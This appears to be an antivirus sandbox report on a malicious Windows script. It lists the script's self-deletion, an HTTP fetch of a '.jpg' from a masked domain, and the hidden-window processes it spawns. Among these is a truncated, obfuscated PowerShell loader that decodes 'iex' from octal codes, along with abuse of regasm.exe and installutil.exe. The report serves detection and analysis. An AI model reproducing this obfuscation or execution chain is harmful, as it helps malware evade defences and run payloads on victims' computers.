Technical Information
Modifies file system
Deletes itself.
Network activity
TCP
HTTP GET requests
- http://of######leaner-index.com/day2.jpg
UDP
- DNS ASK google.com
- DNS ASK of######leaner-index.com
Miscellaneous
Creates and executes the following
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' $y=-Join ((111, 105, 130)| ForEach-Object {( [Convert]::ToInt16(([String]$_ ), 8) -As[Char])});sal df $y;$fg34hy68iuh5=@(36,84,98,111,110,101,61,39,42,69,88,39,46,114,101,112,108,97,99,101,40,3...' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Remove-Item '<PATH_SAMPLE>.vbs'' (with hidden window)
- '%WINDIR%\microsoft.net\framework\v4.0.30319\regasm.exe' ' (with hidden window)
Executes the following
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' $y=-Join ((111, 105, 130)| ForEach-Object {( [Convert]::ToInt16(([String]$_ ), 8) -As[Char])});sal df $y;$fg34hy68iuh5=@(36,84,98,111,110,101,61,39,42,69,88,39,46,114,101,112,108,97,99,101,40,3...
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Remove-Item '<PATH_SAMPLE>.vbs'
- '%WINDIR%\microsoft.net\framework\v2.0.50727\installutil.exe'
- '%WINDIR%\microsoft.net\framework\v4.0.30319\regasm.exe'
